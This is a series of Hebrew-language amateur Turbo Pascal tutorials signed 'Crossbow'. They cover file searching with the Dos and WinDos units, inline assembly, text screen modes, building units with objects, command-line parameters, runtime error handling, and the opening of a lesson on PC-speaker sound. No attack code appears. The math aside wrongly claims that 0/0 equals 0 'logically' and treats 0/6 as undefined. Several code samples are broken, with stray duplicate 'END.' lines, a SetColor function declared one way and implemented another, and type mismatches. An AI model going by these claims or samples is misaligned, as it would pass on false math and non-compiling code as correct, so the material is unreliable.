**ותראו מה קורה. אם אפס לחלק שש הם מספר כלשהו, נקרא לו איקס, אז איקס**

**כפול אפס זה שש? או איקס כפול שש זה אפס? אפשר להראות אז זה בתבניות, זה**

**הכי קל ככה (קונטרול ושיפט):**

**6 / 2 = 3 ---> 6 / 3 = 2 ---> 3 \* 2 = 6 (Right)**

**0 / 6 = X ---> 0 / X = 6 ---> X \* 6 = 0 (Wrong)**

**0 / 0 = 0 ---> 0 / 0 = 0 ---> 0 \* 0 = 0 (Maybe)**

**הבנתם? אז דרך אגב, מבחינה לוגית אפס חלקי אפס זה כן אפס, ועל זה אני כל**

**הזמן מתווכח עם כל מורה לאלגברה שקיים. עכשיו, הנה המסר החשוב שיש לי:**

**פיזיקה לא תעזור לכם בהאקינג (אולי פיזיקת חשמל). כימיה בכלל לא תעזור**

**לכם, תנ"ך או לשון בכלל בכלל לא. אבל מתימטיקה כן תעזור לכם בהאקינג. רק**

**שתדעו, האקרים טובים בדרך כלל גם יודעים מתימטיקה די טוב. אז יאללה, אני**

**מקווה שתעכלו את כל זה, שלכם,**

**Crossbow**

**שימוש מתקדם ב TORBO PASCAL**

**היום נעבוד על שימוש מתקדם בפסקל. מה זה אומר? זה אומר שנבין יותר את**

**המבנה של קבצים ותיקיות. זה אומר שעכשיו יהיו לנו יותר כלים ואפשרויות**

**לתכנת את התוכניות שלנו. אבל, זה גם אומר שנצטרך לעבוד קשה יותר ולהשקיע**

**יותר. אני מקווה שיש לכם ידע קודם בפסקל, כי תצטרכו אותו כאן.**

**אז מה יהיה במאמר הזה**

**טוב, במאמר הזה יהיו כמה נושאים חשובים: שימוש בחיפוש של קבצים, השוואה**

**בין Dos.tpu לבין WinDos.tpu, שילוב של שפת אסמבלי בתוך פסקל, שינוי מצב**

**המסך ובניית קבצים חיצוניים לשימושים אישיים. טוב, בואו נתחיל!!!**

**שימוש בחיפוש קבצים**

**השימוש בחיפוש קבצים מצריך שימוש בסוג משתנה חדש בפסקל. עד עכשיו, אנחנו**

**השתמשנו במשתנים מספריים, משתנים טקסטואליים וגם במשתנים לוגיים. כאן אני**

**אדגים שימוש בחיפוש קבצים על ידי שני קבצים חיצוניים: אחד מהם הוא הקובץ**

**החיצוני Dos.tpu והשני שנשתמש בו הוא WinDos.tpu. כל אחד מהקבצים האלה**

**יכול להיות משומש בנפרד, מכיוון שהקובץ WinDos.tpu הוא פשוט גרסא יותר**

**חדישה לקובץ Dos.tpu... אבל אני אדגים בשניהם, ואתם תבחרו בעצמכם מה יותר**

**קל ונוח, ובאיזה קובץ נשתמש. הנה קוד ראשון של חיפוש קבצים והצגתם, על**

**בסיס Dos.tpu (הבסיס הישן יותר):**

**USES Dos;**

**VAR VarX:PathStr;**

**BEGIN**

**VarX := FSearch ('\*.\*', 'C:\');**

**WriteLn (FExpand (VarX));**

**END.**

**הסברים**

**טוב, הרוב צריך להיות מוכר לכם, אבל למרות זאת, בתוכנית הזאת בלבד אני**

**אסביר את כל השורות, בתור חזרה קצרה. השורה הראשונה ברורה: היא מכריזה על**

**שימוש בקובץ Dos.tpu. השורה השנייה מכריזה על משתנה VarX. סוג המשתנה הוא**

**PathStr, והוא סוג משתנה חדש שמציין מחרוזת שהיא מיקום מסויים בתוך הכונן**

**שלנו. שורה שלישית מתחילה את גוף התוכנית. שורה רביעית משתמשת בפונקצייה**

**חדשה שנקראת FSearch. הארגומנטים כאן ברורים: הארגומנט הראשון הוא לקבלת**

**שם הקובץ שיש לחפש, והארגומנט השני הוא לקבלת המיקום הנוכחי. השורה**

**החמישית מציגה את המשתנה VarX תוך שימוש בפונקציית FExpand. הרעיון של**

**FExpand הוא להציג את המיקום והשם המלא של הקובץ. טוב, זה היה שימוש קצר**

**בקובץ Dos.tpu, ועכשיו נעבור לקובץ השני, שהוא WinDos.tpu. בכל הנוגע**

**לחיפוש קבצים אני ממליץ על הקובץ WinDos.tpu, ועוד מעט תבינו למה.**

**הנה קוד המקור של חיפוש קבצים על בסיס WinDos.tpu:**

**USES WinDos;**

**VAR VarX:TSearchRec;**

**BEGIN**

**FindFirst ('\*.\*', faDirectory + faArchive, VarX);**

**WHILE DosError = 0 DO**

**BEGIN**

**Write ('Name: ', VarX.Name);**

**Write (' Attribute: ', VarX.Attr);**

**Write (' Size: ', VarX.Size);**

**WriteLn (' Time: ', VarX.Time);**

**FindNext (VarX);**

**END;**

**END.**

**הסברים**

**אוקיי, השורה הראשונה היא כמובן הצהרה על שימוש בקובץ WinDos.tpu. בשורה**

**השנייה יש לנו הצהרה על משתנה חדש בשם VarX מסוג TSearchRec. עכשיו,**

**TSearchRec הוא סוג חדש (Type), שנמצא כבר בתוך הקובץ WinDos.tpu. עוד**

**הסברים עליו יהיו בהמשך. אחרי זה אנחנו מוציאים פלט של מאפייני הקובץ**

**(שמו של הקובץ, מאפיין השימוש שלו, גודלו והזמן שלו). לאחר מכן אנחנו**

**נעשה שימוש בפונקציית FindNext. עכשיו אני אסביר משהו: הקריאה של**

**FindFirst היא קריאה שמקבלת שלושה ארגומנטים: שם הקובץ, מאפיין פתיחת**

**הקובץ ולבסוף גם המשתנה שאליו יעבור המידע. עכשיו, הקריאה FindNext זורקת**

**את המידע שבמשתנה, ובמקום אותו מידע אוספת מידע חדש על הקובץ הבא ברשימה.**

**כל עוד יש קובץ חדש ברשימה, לא תהיה שגיאה, או בשפת פסקל, הקוד יהיה שכל**

**עוד DosError = 0 אז נמשיך את הלולאה. ברגע שתעלה לנו שגיאה (שתגיד לנו**

**שנגמרה הרשימה ואין לאיפה להמשיך), הלולאה תפסק. עכשיו אני יכול להסביר**

**על השימוש במשתנה TSearchRec, ובסוף אני אציג את כל הייתרונות והחסרונות**

**של כל אחד מהשיטות למציאת קבצים שהצגתי כאן. טוב, עכשיו, הנה קוד המקור**

**של סוג המשתנה TSearchRec:**

**TYPE**

**TSearchRec = RECORD**

**Fill:array[1..21] of byte;**

**Attr:byte;**

**Time:longint;**

**Size:longint;**

**Name:array[0..12] of char;**

**END;**

**הסברים**

**כמו שאתם רואים, אנחנו משתמשים במילה Record לשם קליטה של אינפורמצייה**

**וסיווג שלה במאפיינים. מי שיודע ג'אווה יכול לראות פה קשר מאוד הדוק**

**לג'אווה: השימוש במילה Record דומה מאוד לשימוש במחלקות בג'אווה: אנחנו**

**מקבלים מידע כלשהו ומסווגים אותו לפי קריטריונים מסויימים. הקריטריונים**

**האלו הם משתנים שאנחנו יצרנו. עכשיו, המשתנה Name מציג את השם של הקובץ.**

**המשתנה Size מציג את הגודל שלו בבייטים (בתים), המשתנה Time מציג את הזמן**

**שבו הוא נוצר. המשתנה Attr מציג את סוג מאפיין הפתיחה (Attribute) שלו.**

**המשתנה Fill משומש על ידי מערכת Dos, וחשוב מאוד לא לגעת בו. כמעט ואין**

**תיעוד על משתנה Fill ועל איך Dos משתמשת בו. כאשר אנחנו רוצים לגשת אל**

**מאפיין מסויים של קובץ, נכתוב את המשתנה, אחריו נקודה ואחריו שם המאפיין.**

**לדוגמא, אם המשתנה שלנו בתוכנית מקודם היה VarX, ואנחנו רצינו לגשת לשם**

**של הקובץ, נכתוב בתוך הקוד שלנו: VarX.Name...**

**יתרונות וחסרונות**

**טוב, הקובץ Dos.tpu מסורבל הרבה יותר מבחינת מציאת קובץ. ישנם מחשבים**

**ששימוש בפונקציית FSearch לא עובדת אצליהם כמו שצריך, או שמלווה בשגיאות.**

**לעומת זאת, בקובץ WinDos.tpu יש לנו סיווג יפה של כל קובץ, הכל מסודר.**

**החסרון הגדול של FindFirst ושל FindNext הוא שהמידע נמחק כל פעם שיש לנו**

**קריאה לפונקציית FindNext. למרות זאת, הכנתי לכם כאן קוד קצר ששומר את**

**המאפיינים של כל קובץ בתוך הזיכרון:**

**USES WinDos;**

**VAR**

**VarX:TSearchRec;**

**VarY:integer;**

**FName:array[1..500] of string[13];**

**FAttr:array[1..500] of string[11];**

**FSize:array[1..500] of longint;**

**FTime:array[1..500] of longint;**

**BEGIN**

**VarY := 1;**

**FindFirst ('\*.\*', faDirectory + faArchive, VarX);**

**WHILE DosError = 0 DO**

**BEGIN**

**Write ('Name: ', VarX.Name);**

**Write (' Attribute: ', VarX.Attr);**

**Write (' Size: ', VarX.Size);**

**WriteLn (' Time: ', VarX.Time);**

**FName[VarY] := VarX.Name;**

**FAttr[VarY] := VarX.Attr;**

**FSize[VarY] := VarX.Size;**

**FTime[VarY] := VarX.Time;**

**Inc (VarY);**

**FindNext (VarX);**

**END;**

**END.**

**שימוש במאפיין פתיחה של קובץ**

**דבר אחרון שרציתי להראות לפני שנעבור לשפת אסמבלי בפסקל, הוא השימוש**

**במאפיין פתיחה של קבצים, שידוע גם בשפה האנגלית בשם Attribute. עכשיו,**

**ישנם כמה סוגי Attribute, יש כאלה שיש בהם שימוש בפסקל אבל לא בתוך מערכת**

**Dos. הנה כל סוגי מאפייני הקובץ על פי שפת פסקל:**

**faArchive**

**קובץ רגיל, עם שימוש רגיל. נקרא גם בשם ארכיון בעברית.**

**faHidden**

**קובץ חבוי מעיני המשתמש, ידוע בשם מוסתר בעברית. קובץ מוסתר בפסקל מציין**

**גם קבצי מערכת (שבדרך כלל גם מוחבאים מעיני המשתמש הרגיל).**

**faDirectory**

**זה לא קובץ, אלא תיקייה. כאשר אנחנו משתמשים בחיפוש קבצים בפסקל, הוא**

**מתייחס גם לתיקיות כאל קבצים, ולכן יצרו מאפיין מיוחד שנקרא Directory,**

**יעני תיקייה או ספרייה.**

**faReadOnly**

**קובץ קריאה בלבד, יעני, אי אפשר לכתוב עליו אלא רק לקרוא אותו.**

**שימוש באסמבלי בתוך פסקל**

**כן, לכל אוהבי האסמבלי, גם זה יכול להיות משומש בתוך פסקל. כל מה שצריך**

**לעשות זה קריאה לאסמבלי. הנה דוגמא לקוד מקור שעושה שימוש באסמבלי:**

**BEGIN**

**ASM**

**MOV Ax, 5;**

**ADD Ax, 3;**

**END;**

**END.**

**הסברים**

**טוב, אין הרבה מה להסביר. מיש שמבין קצת קצת קצת באסמבלי, יודע שהגדרנו**

**את האוגר Ax את הערך 5, ואז הוספנו 3. יעני, בסוף התוכנית, ערכו של אוגר**

**Ax הוא 8. מי שמתעניין באסמבלי וחושב שפסקל הוא קצת חלש מדי בשבילו, יכול**

**עכשיו להנות משילוב של שתי שפות לקומפיילר אחד: פסקל שהיא שפה עילית,**

**ואסמבלי שהיא שפת סף. עוד דבר חשוב זה העובדה שלפסקל יש Debugger, יעני,**

**אם הוא רואה קוד שהוא לא מבין, הוא מפסיק את הפעולה של התוכנית, וזה תקף**

**גם לגבי קוד משולב באסמבלי וגם לגבי קוד רגיל בפסקל.**

**שימוש בגודל טקסט ומסך שונים**

**כן, מקטע מאוד טכני כמו אסמבלי אנחנו עוברים ישר לקטע היותר גרפי. עכשיו,**

**בשביל זה אנחנו נשתמש בקובץ חיצוני אחר שנקרא Crt.tpu... עכשיו, אני הולך**

**להציג כאן קוד מקור שמשנה את גודל המסך, ואחריו הסברים:**

**USES Crt;**

**VAR OrigMode, LastCol, LastRow:word;**

**BEGIN**

**OrigMode := LastMode;**

**TextMode (Lo (LastMode) + Font8x8);**

**LastCol := Lo (WindMax) + 1;**

**LastRow := Hi (WindMax) + 1;**

**ClrScr;**

**TextColor (White);**

**WriteLn ('Last Col = ', LastCol);**

**WriteLn ('Last Row = ', LastRow);**

**WriteLn;**

**WriteLn ('Press any key to continue...');**

**ReadKey;**

**TextMode (OrigMode);**

**END;**

**הסברים**

**טוב, בשורה הראשונה אנחנו מצהירים על שימוש בקובץ החיצוני שלנו, Crt.tpu.**

**בשורה השנייה אנחנו יוצרים שלושה משתנים מסוג Word. המשתמש הראשון יציין**

**את גודל המסך האחרון שלנו, המשתנה השני יציין את השורה האחרונה אצלנו,**

**והמשתנה השלישי יציין את הטור האחרון אצלנו. כאשר מתחילה התוכנית, הדבר**

**הראשון שאנחנו עושים הוא לשמור את גודל המסך האחרון שלנו בתוך המשתנה.**

**פעולה זו חשובה מאוד, מכיוון שאם תוכנית לא תשחזר את גודל המסך, מערכת**

**Dos תהיה עם רזולוצייה שהיא לא תוכננה לה, וזה לא נראה טוב... אחר כך,**

**אנחנו נשתמש בתוך הזיכרון הנמוך כדי לגרום למסך להראות לנו גדול יותר (או**

**יותר נכון, לטקסט להיות קטן יותר ביחס לגודל המסך). תבינו, גודל המסך**

**בברירת המחדל של Dos הוא 80 על 25. אחרי הקוד שעשינו, גודל המסך הפך**

**להיות 80 על 43. אחר כך, אנחנו לוקחים שני משתנים, הראשון מקבל מהזיכרון**

**הנמוך את החלון ומוסיף לו עוד אחד לערך (כך שמשתנה זה יציין לנו את השורה**

**האחרונה), ואת המשתנה השני, ששולף מתוך הזיכרון הגבוה ערך ומוסיף לו גם**

**אחד לערך (כך שהוא יציין לנו את הטור האחרון). עכשיו אנחנו נציג בתור פלט**

**את הערכים של המשתנים האחרונים שהגדרנו, נחכה ללחיצה על מקש כלשהו על ידי**

**שימוש בפונקציית ReadKey (שנמצאת בתוך הקובץ החיצוני שלנו, Crt.tpu),**

**ולבסוף אנחנו משחזרים את גודל המסך שהיה לפני ששינינו אותו. רק דבר אחד**

**לא הסברתי, וזה Font8x8... עכשיו, לכאורה אנחנו משנים את גודל המסך. גודל**

**המסך נמדד על פי יחידות של הסמן המהבהב, שנקרא Cp בתוך פסקל. עכשיו, מה**

**שקורה הוא שאנחנו לא מגדילים את המסך, אלא מקטינים את גודל הסמן, ככה**

**שיוצא שמספר היחידות שלנו עולה, ולכאורה המסך גדל. עכשיו, הנה כל סוגי**

**השינויים בגודל המסך שאפשר לעשות:**

**Font8x8**

**כמו מקודם, מגדיל רק את ערך קורדינטת Y של המסך לערך הגבוה 43. משומש על**

**ידי מסך Ega וגם על ידי מסך Vga. מבחינת ערך מספרי, הערך שלו הוא 256.**

**Mono**

**משומש על ידי מסכי Hgc. מצב Mono כמעט לא משומש בתוכניות. הערך המספרי של**

**Mono הוא 7, והוא משנה את מצב המסך לגודל של 80 על 25 ומסך שחור לבן.**

**Co80**

**משומש על ידי מסכי Cga. מצב Co80 הוא ברירת המחדל במערכת שלנו: Dos. המסך**

**יהיה צבעוני בעל גודל של 80 על 25. הערך של Co80 הוא 3.**

**Bw80**

**משומש על ידי מסכי Cga. מצב Bw80 הוא כמו מצב Co80 אבל בו אין צבעים (מסך**

**שחור לבן), לעומת Co80 הצבעוני. הערך של מצב Bw80 הוא 2.**

**Co40**

**משומש על ידי מסכי Cga. מצב Co40 הוא בדיוק כמו מצב ברירת המחדל (Co80),**

**אלא שבמצב Co40 גודל המסך הוא 40 על 25. הערך שלו הוא 1.**

**Bw40**

**משומש על ידי מסכי Cga. מצב Bw40 הוא כמו מצב Co40 אלא שלו אין צבעים.**

**הערך שלו הוא 0.**

**בעיות עם מצבי מסך**

**לא פעם קורה שבמערכת מסויימת מצב מסויים לא עובד. השגיאה הכי נפוצה היא**

**השימוש בזיכרון נמוך. הזיכרון הנמוך משומש בדרך כלל למצב ברירת המחדל**

**ולמצב Font8x8 בלבד. כל שימוש אחר הוא זיכרון גבוה (Hi). בדקו גם שלמסך**

**שלכם מחוברים האדפטורים שציינתי.**

**בניית קבצים חיצוניים**

**כן, גם אתם יכולים לבנות קבצי tpu בעצמכם. הלמידה ליצירת קבצים חיצוניים**

**היא קשה מאוד, אבל משתלמת. טוב, בואו נתחיל לבנות לנו קובץ חיצוני.**

**בקבצים חיצוניים יש לפעמים שימושים באסמבלי, כך שעדיף שיהיה לכם ידע**

**באסמבלי. טוב, כדי לציין בניית קובץ חיצוני, קודם כל נציין את שם היחידה**

**על ידי שימוש במילת המפתח Unit ואחריה את שם היחידה. לאחר מכן נכנס לחלק**

**שנקרא Interface. חלק זה מציין את התחלת הקוד הציבורי של הקובץ החיצוני.**

**בדרך כלל משומשים שם מחלקות וקונסטרקטורים. הקונסטרקטור (Contructor)**

**מוכר למפתחים של ג'אווה: הוא בעצם בונה את המחלקה שאותה יצרת. לאחר החלק**

**של Interface, מגיע החלק המעשי שנקרא Implementation. חלק זה הוא יישום**

**כל הפרוצדורות והפונקציות שבנינו לעצמנו יחד עם הקונסטרקטור. דבר אחרון**

**שרציתי להסביר זה השימוש של המילה Virtual. מילה זו באה אחרי מאפיין של**

**אובייקט שאנחנו יצרנו בעזרת הקונסטרקטור, והתפקיד שלה הוא לחבר את הפעולה**

**של הקונסטרקטור בזמן ההרצה עם הקוד המתאים. השימוש העיקרי במילת Virtual**

**היא בפרוצדורות פנימיות של אובייקטים. טוב, אני חושב שכיסינו את הרוב**

**בכלליות. עכשיו אנחנו יכולים כבר לנסות לבנות לנו מחלקה. אנחנו נבנה**

**מחלקת אובייקט בשם MyBall שתציין כדור. עכשיו, יהיו לנו כמה מאפיינים:**

**צבע, מיקום ואם הוא נראה או לא. יהיו לנו גם פונקציות: שינוי הצבע, שינוי**

**המיקום, הסתרה שלו והצגה שלו. הנה קוד המקור שיצרתי בשביל הדוגמא הזאת:**

**UNIT Ball;**

**INTERFACE**

**USES Crt;**

**TYPE**

**MyBall = OBJECT**

**X, Y:byte;**

**Visible:boolean;**

**Color:integer;**

**CONSTRUCTOR Init (InitX, InitY, InitClr:integer);**

**PROCEDURE MoveBall (NewX, NewY:integer); VIRTUAL;**

**PROCEDURE Show; VIRTUAL;**

**PROCEDURE Hide; VIRTUAL;**

**FUNCTION SetColor:integer;**

**FUNCTION IsVisible:boolean;**

**END;**

**IMPLEMENTATION**

**CONSTRUCTOR MyBall.Init(InitX, InitY, InitClr:integer);**

**BEGIN**

**X := InitX;**

**Y := InitY;**

**Color := InitClr;**

**END;**

**PROCEDURE MyBall.MoveBall(NewX, NewY:byte);**

**BEGIN**

**X := NewX;**

**Y := NewY;**

**END;**

**PROCEDURE MyBall.SetColor(NewColor:integer);**

**Color := NewColor;**

**END;**

**PROCEDURE MyBall.Show;**

**BEGIN**

**Visible := True;**

**END;**

**PROCEDURE MyBall.Hide;**

**BEGIN**

**Visible := False;**

**END;**

**END.**

**מילים לסיום**

**עכשיו אתם יודעים איך ליצור קבצים חיצוניים באופן כללי. כמובן שיש עוד**

**הרבה מה לדבר, אבל זה הרעיון בכלליות: בניית האובייקט ומאפייניו, והגדרה**

**מחדש על ידי פונקציות. עכשיו אני מקווה שאתם מבינים יותר טוב איך בנויה**

**שפת פסקל, ואיך התוכנית מתקשרת עם פונקציות. עוד דבר חשוב שלמדנו היום זה**

**השימוש באסמבלי בתוך פסקל, וגם למדנו את החיפוש של הקבצים שגם הוא פרק**

**חשוב מאוד בפסקל. מקווה שלמדתם הרבה, ושעכשיו תוכלו ליצור תוכניות יותר**

**מעניינות מבחינה גרפית ומבחינה טכנית. שלכם,**

**Crossbow**

**עבודה עם פרמטרים בפסקל**

**טוב, היום נעשה את אחד הדברים שאם אס דוס הכי מתבסס עליהם. עד היום, אם**

**ידעתם פסקל, ידעתם שכאשר אנחנו מכניסים פקודה היא מתבצעת, אבל רק פקודה**

**באופן מדוייק. לדוגמא, בואו ננסה לבנות פקודה שתכנס לתיקייה, כמו הפקודה**

**הנודעת Cd בתוך דוס. לחצו על קונטרול ושיפט:**

**VAR**

**CurrentDir:string;**

**EnterDir:string;**

**BEGIN**

**GetDir(0,CurrentDir);**

**ReadLn(EnterDir);**

**ChDir(CurrentDir + '\' + EnterDir);**

**END.**

**הסברים**

**למי שלא הבין, אנחנו מקבלים את המיקום של התיקייה לתוך CurrentDir, משתנה**

**מסוג סטרינג (מחרוזת טקסטואלית). אחרי זה אנחנו מקבלים מהמשתמש את הערך**

**של המשתנה EnterDir, שישמש אותנו אחרי זה בתור התיקייה החדשה שאליה אנחנו**

**רוצים להכנס. בשורה אחרי, אנחנו נכנסים לתיקייה הבאה, שמורכבת משלושה**

**חלקים: התיקייה הנוכחית, הסימן סלאש \ לסמן חציצה בין תיקיות, וכמובן שיש**

**את השם של התיקייה החדשה.**

**עבודה עם פרמטרים**

**טוב, בדוס הדברים פועלים אחרת. אתה לא כותב Cd, לוחץ אנטר, ואז כותב את**

**השם של התיקייה ולוחץ אנטר שוב. בדוס אתה כותב Cd NewDir ולוחץ אנטר. אז,**

**איך עושים את זה? עם פרמטרים כמובן!!! פרמטר בפסקל הוא טקסט שמופרד משאר**

**הטקסט על ידי רווח. פרמטרים מסומנים במספרים. המספר אפס הוא מספר מיוחד,**

**הוא מציין את המיקום של הקובץ. אחרי זה יש מספרים.**

**דוגמא**

**טוב, הדרך הכי טובה היא שפשוט תראו. מכירים את הפקודה Echo בדוס? למי שלא**

**מכיר, שייכנס לדוס ויכתוב Echo Wass up וילחץ אנטר. עכשיו, למי שהבין,**

**הפקודה מקבלת פרמטר וכותבת אותו. בערך... תלחצו קונטרול ושיפט:**

**BEGIN**

**IF ParamCount = 0 THEN**

**BEGIN**

**WriteLn;**

**END**

**ELSE**

**WriteLn(ParamStr(1));**

**END.**

**END.**

**הסברים**

**ParmaCount: ספירת הפרמטרים. אם הוא אפס אז הוא כותב שורה ריקה.**

**ParamStr: הטקסט של הפרמטר. אחרי זה מציינים את מספר הפרמטר.**

**זה לא עובד!!!**

**נכון, אם תבדקו את התוכנה טוב טוב, תראו שזה לא כל כך יפעל. זה מכניס רק**

**מילה אחת. לדוגמא, אם נכתוב Write Hello World, בתנאי שלתוכנה שבנינו**

**קוראים Write, אז הוא יכתוב רק Hello ולא את הכל. למה? כי ציינו שאנחנו**

**רוצים רק את הפרמטר הראשון. הנה התוכנית המלאה. תלחצו קונטרול ושיפט:**

**PROGRAM WriteSomething;**

**VAR**

**ParamTimes:longint;**

**VarX:longint;**

**BEGIN**

**IF ParamCount = 0 THEN**

**BEGIN**

**WriteLn;**

**END**

**ELSE**

**ParamTimes := ParamCount;**

**FOR VarX := 1 TO ParamTimes DO**

**BEGIN**

**Write(ParamStr(VarX), ' ');**

**END;**

**END.**

**END.**

**הסברים**

**טוב, פה אנחנו בונים לופ, שעולה מאחד (פרמטר ראשון) עד לפרמטר הסופי, וזה**

**בעצם מספר הפרמטרים בתוכנית. נסו, ותבדקו.**

**סיום**

**הפרמטרים, כמו שגיליתם, הם דבר מועיל לאללה, ועוזר מאוד. זה לא קל להשתמש**

**בפרמטרים, אבל אחרי זמן מסויים, אתם תתרגלו. אז תהנו, ואם יש לכם בעיות**

**תתפסו אותי באייסיקיו. שלכם,**

**Crossbow**

**עוד קצת על פתרון בעיות בשפת פסקל**

**בטח כבר קרה לכם המון בעיות הרצה (Runtime Errors). לדוגמא: בניתם מחשבון**

**חביב כזה, שעושה חיבור, חיסור, כפל, חילוק, ומבקש שני מספרים מהמשתמש.**

**הנה לדוגמא, קוד מקור למחשבון כזה (קונטרול ושיפט):**

**PROGRAM Calculator;**

**VAR**

**VarX:longint;**

**VarY:longint;**

**BEGIN**

**Write('Insert one number please: ');**

**ReadLn(VarX);**

**Write('Insert another number please: ');**

**ReadLn(VarY);**

**WriteLn(VarX, ' + ', VarY, ' = ', VarX + VarY);**

**WriteLn(VarX, ' - ', VarY, ' = ', VarX - VarY);**

**WriteLn(VarX, ' \* ', VarY, ' = ', VarX \* VarY);**

**WriteLn(VarX, ' / ', VarY, ' = ', VarX / VarY);**

**END.**

**תמיד אמרו לכם שמחשבים זה מתימטיקה, נכון? חחחחחחח... טוב, עכשיו, פה הכל**

**מתפקד נהדר, תבדקו אם אתם לא מאמינים לי... חוץ מדבר אחד שיכול לקרות...**

**מה יקרה אם המספר השני, שמיוצג בתור המשתנה VarY, יהיה שווה לאפס? כמובן,**

**יש אפשרות כזאת תמיד, יש גם אפשרות שהמשתמש יכניס מינוסים, אבל אין לנו**

**בעייה עם מינוסים... אז בואו נראה מה קורה אם נכניס אפס. העתקתי את כל**

**הפלט של התוכנית לפה (קונטרול ושיפט שוב):**

**Insert one number please: 8**

**Insert another number please: 0**

**8 + 0 = 8**

**8 - 0 = 8**

**8 \* 0 = 0**

**8 / 0 = Runtime error 200 at 0000:0258**

**הסברים**

**בהתחלה הייתה שורת טקסט שהיא פלט מהתוכנית, ואז הכנסנו את 8.**

**אחרי זה הייתה עוד שורת טקסט שהיא גם פלט מהתוכנית, ואז הכנסנו את 0.**

**בחיבור בין שני המספרים אין לנו בעייה, התוצאה היא 8.**

**בחיסור בין שני המספרים גם אין לנו שום בעייה, זה יוצא גם 8.**

**בכפל ביניהם אין לנו שום בעייה, התוצאה יוצאת 0.**

**בחילוק יש בעייה: ניסינו לחלק שמונה באפס.**

**מה קרה?**

**טוב, מי שזוכר את שיעורי מתימטיקה (אבל אז קראו לזה "חשבון"...) יודע שזה**

**לא אפשרי לחלק באפס. למה? בגלל שאם שמונה לחלק לשניים זה ארבע, אז ארבע**

**כפול שתיים זה שמונה, נכון? אם שמונה לחלק לאפס זה X, אז X כפול אפס זה**

**שמונה, נכון? לא נכון!!! ובגלל זה אסור לחלק באפס!!!**

**איך פותרים את הבעייה?**

**טוב, זוכרים שכתבנו שורה שמקבלת את המספר השני? בואו ננסה לשפר אותו קצת,**

**ככה שאם יש אפס אז הוא יצא מהתוכנית (קונטרול ושיפט):**

**PROGRAM Calculator;**

**VAR**

**VarX:longint;**

**VarY:longint;**

**BEGIN**

**Write('Insert one number please: ');**

**ReadLn(VarX);**

**Write('Insert another number please: ');**

**ReadLn(VarY);**

**IF VarY = 0 THEN**

**BEGIN**

**WriteLn('Error #200: Can''t divide by ziro');**

**Exit;**

**END;**

**WriteLn(VarX, ' + ', VarY, ' = ', VarX + VarY);**

**WriteLn(VarX, ' - ', VarY, ' = ', VarX - VarY);**

**WriteLn(VarX, ' \* ', VarY, ' = ', VarX \* VarY);**

**WriteLn(VarX, ' / ', VarY, ' = ', VarX / VarY);**

**END.**

**הסברים**

**טוב, פה יש לנו מצב, שאם יש אפס, אז הוא כותב שאסור לחלק באפס ואז יוצא**

**מהתוכנית כדי לא להכנס למצב של שגיאה.**

**זיהוי שגיאות**

**אפשר לזהות שגיאה בקלות על ידי כלי מאוד שימושי בשפת פסקל, שנקרא בעברית:**

**תוצאת קלט\פלט, באנגלית: Input\Output Result, או בקיצור: I\O Result. לא**

**משנה איך תקראו לזה, זה בעצם מחזיר מספר של שגיאה. עכשיו, כשאין שגיאה**

**הכלי הזה מחזיר את המספר אפס. כאשר יש משהו ששונה מאפס, יש שגיאה. דוגמא**

**טובה היא קוד המקור הבא, שטוען תוכנית ואז מחזיר את כל השגיאות. אם עדיין**

**לא קלטתם, זה הזמן ללחוץ על קונטרול ושיפט:**

**PROGRAM FileChecking;**

**USES Crt;**

**VAR FileCool: FILE OF Byte;**

**BEGIN**

**Assign(FileCool, ParamStr(1));**

**Reset(FileCool);**

**IF IOResult = 0 THEN**

**WriteLn('File size in bytes: ', FileSize(FileCool))**

**ELSE**

**WriteLn('File not found');**

**END.**

**הסברים**

**הקובץ מתקבל בתוך שורת הפקודה. אחר כך יש בדיקה: האם עלתה שגיאה? אם הוא**

**מחזיר אפס (אין שגיאה) אז הוא כותב את הגודל של הקובץ. אם הוא יצא מספר**

**ששונה מאפס, אז כנראה הקובץ לא קיים, ויש פלט שכותב שהקובץ לא קיים.**

**לגרום לשגיאות**

**יש כלי חכם מאוד שגורם לשגיאות בלי לעשות שגיאה אמיתית. השימוש לזה הוא**

**בדרך כלל על ידי מתכנתים שרוצים לבדוק את העמידות של התוכנית שלהם, או**

**כשמישהו רוצה לבנות דיבאגר. הנה דוגמא לכלי הזה (קונטרול ושיפט):**

**BEGIN**

**RunError(200);**

**END.**

**הסברים**

**הכלי כמו שבטח הבנתם, הוא RunError. אחרי זה צריך לציין בסוגריים את מספר**

**השגיאה. לדוגמא, פה השגיאה היא חילוק באפס. ככה אפשר לבדוק מספר של כל**

**שגיאה. אפס לדוגמא, זאת שגיאה לא מזוהה, יעני הוא לא כותב פירוט עליה.**

**המספר אחד זה קוד דוס לא חוקי. שתיים זה הקובץ לא נמצא. שלוש זה מיקום לא**

**נמצא. ארבע זה עומס קבצים פתוחים על הזיכרון. יש מלא מלא מלא שגיאות שכמו**

**שהבנתם, מיוצגות על ידי מספרים. שגיאות הם דבר חיוני מאוד. לדוגמא: אם**

**התוכנית לא הייתה עוצרת בשגיאה מספר ארבע, הזיכרון שלכם היה קורס. בעצם,**

**כל פעם שעולה שגיאה יש עצירה של התוכנית.**

**אני מקווה שאתם מבינים קצת על איך עובדים עם ניפוי שגיאות יותר טוב ממה**

**שהבנתם מקודם. זיבולי שכל, בעיות עם שומרי מסך ושאר ירקות ייתקבלו אצלי**

**באי מייל, או באייסיקיו. שלכם,**

**Crossbow**

**קול וצלילים לפסקל**

**אם כבר קראתם את כל הכתבות שלי על פסקל, צריכים להיות לכם הדברים הבאים:**

**1) עורך של פסקל.**

**2) קומפיילר של שפת פסקל.**

**3) ידע בסיסי בפסקל.**

**4) הגיון כלשהו בפסקל, ובתכנות בכלל.**

**5) לפחות תוכנית אחת שנבנתה בפסקל.**

**6) אם אס דוס.**

**אם אין לכם אחד מהדברים הבאים, תשיגו עורך וקומפיילר, תשיגו אם אס דוס אם**

**אין לכם (חחחחח...), תקראו את הכתבות שכתבתי (היו 3 כתבות, לא כולל את**

**הכתבה הזאת), ונסו לבנות תוכנית בפסקל (לא משהו כבד, תבנו מחשבון למשל).**

**טוב, עכשיו לעבודה. היום אנחנו נלמד על האפקטים הקוליים בפסקל. יש כמה**

**דברים שאתם צריכים לדעת על האפקטים האלה:**

**1) אל תצפו לאפקטים מרשימים, זה בסך הכל אם אס דוס.**

**2) הקולות בפסקל יוצאים מהמחשב עצמו, מחלק הנקרא "Internal Speaker".**

**3) חלק מהקולות מסוכנים, בעיקר הגבוהים, שגורמים לכאבי ראש, אז זהירות.**

**4) הקולות עובדים על שלושה חלקים, שעליהם ארחיב בהמשך.**

